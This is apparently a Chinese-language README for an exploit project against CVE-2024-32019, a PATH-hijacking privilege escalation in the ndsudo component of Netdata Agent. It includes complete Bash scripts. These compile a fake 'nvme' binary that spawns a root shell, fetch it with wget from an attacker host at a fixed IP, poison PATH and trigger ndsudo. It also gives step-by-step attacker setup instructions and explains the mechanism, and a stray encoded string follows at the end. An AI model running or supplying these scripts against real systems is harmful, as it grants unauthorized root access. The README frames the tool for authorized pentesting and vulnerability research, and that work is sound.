Netdata Ndsudo 权限提升漏洞利用工具 (CVE-2024-32019)
本项目针对 Netdata Agent v1.45.0 及以下版本中 ndsudo 组件存在的 不受信任搜索路径漏洞 (CVE-2024-32019),提供了完整的 Bash 利用脚本。攻击者可通过构造恶意二进制文件并污染 PATH 环境变量,以 root 权限执行任意代码。
功能特性
- 一键式权限提升:提供两个自动化脚本,简化从普通用户到
root的完整利用流程。 - 恶意二进制生成:自动创建并编译用于提权的
nvme木马程序,执行后即获得rootShell。 - 路径污染与触发:脚本自动修改当前会话的
PATH变量,并调用存在漏洞的ndsudo nvme-list命令触发利用。 - 远程部署支持:支持通过
wget从攻击机下载预编译的恶意文件,便于在目标环境直接执行。 - 低复杂度利用:利用方式简单,无需复杂依赖,适用于快速安全验证。
安装指南
系统要求
- 目标系统:已安装存在漏洞的 Netdata Agent(版本 ≤ v1.45.0)
- 攻击机环境:Linux 系统,支持
gcc、bash、python3 - 权限要求:目标系统上需要已有普通用户 Shell 访问权限
安装步骤
-
克隆项目仓库(在攻击机或可直接访问目标的环境中执行):
git clone https://github.com/justjoeyking/CVE-2024-32019-ndsudo.git cd CVE-2024-32019-ndsudo -
确保脚本具有执行权限:
chmod +x ndsudo_exp.sh -
(可选)若需远程部署,在攻击机启动简易 HTTP 服务器:
python3 -m http.server 8080
使用说明
本地直接利用(方法一)
在已获取普通用户 Shell 的目标机器上执行以下操作:
-
运行主利用脚本
ndsudo_exp.sh(该脚本会生成恶意nvme二进制、污染PATH并触发漏洞):./ndsudo_exp.sh -
脚本执行成功后,当前 Shell 将提升为
root权限,可通过id命令验证。
远程部署利用(方法二)
若需通过 HTTP 从攻击机传输脚本与恶意文件:
-
修改
ndsudo_exploit.sh文件中的 IP 地址,指向你的攻击机 IP:wget http://<your-ip-addr>:8080/nvme -O /tmp/nvme -
在目标机器上下载并执行远程利用脚本:
wget http://<your-ip-addr>:8080/ndsudo_exploit.sh chmod +x ndsudo_exploit.sh ./ndsudo_exploit.sh
典型利用场景
- 渗透测试:在授权测试中,获得低权限 Shell 后快速评估 Netdata 组件的风险。
- 安全研究:复现 CVE-2024-32019 漏洞,理解不受信任搜索路径的实际危害。
- 应急响应:验证内部系统是否存在该漏洞,并测试修复方案的有效性。
漏洞利用原理
ndsudo工具在执行nvme-list等命令时,会沿PATH环境变量搜索nvme可执行文件。- 攻击者将恶意
nvme二进制放入可写目录(如/tmp),并修改PATH使该目录优先被搜索。 - 当
ndsudo调用nvme-list时,实际执行的是攻击者提供的恶意nvme程序,从而获得root权限。
核心代码
恶意二进制生成脚本 (ndsudo_exp.sh 节选)
该脚本在本地生成并编译一个用于提权的 nvme 木马。
#! /bin/bash
# ndsudo CVE-2024-32019 Exploit - Privesc
echo "[+] Creating Malicious nvme binary..."
cat > nvme.c << 'EOF'
#include <unistd.h>
int main() {
setuid(0); setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
return 0;
}
EOF
echo "[+] Compiling nvme binary..."
gcc nvme.c -o nvme
代码注释:
- 通过
cat重定向动态生成 C 源码nvme.c。 - 木马程序调用
setuid(0)和setgid(0)获取 root 身份。 - 使用
execl启动一个带有-p参数(保留特权)的 Bash Shell。
远程部署与路径污染脚本 (ndsudo_exploit.sh)
该脚本用于从攻击机下载恶意文件并修改环境变量。
#! /bin/bash
# Copying ndsudo exploit from own machine
echo "[+] Copying nvme binary file..."
# Change the ip to your own ip-address
wget http://10.10.14.70:8080/nvme
mv nvme /tmp/nvme
chmod +x /tmp/nvme
echo "[+] Poisioning PATH..."
export PATH=/tmp:$PATH
echo "[+] Triggering ndsudo --> ROOT SHELL!"
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
echo "[+] Check root access:"
id
代码注释:
- 使用
wget从攻击机 HTTP 服务获取预编译的nvme二进制。 - 将文件移动到
/tmp目录并赋予执行权限。 - 通过
export PATH=/tmp:$PATH使/tmp优先于系统目录被搜索。 - 调用存在漏洞的
ndsudo nvme-list,实际执行/tmp/nvme,获得 root Shell。 6HFtX5dABrKlqXeO5PUv/05/PuhPacyTUXgFekCJu/6y9Bwm49WG4ub1Q7KCRCdQ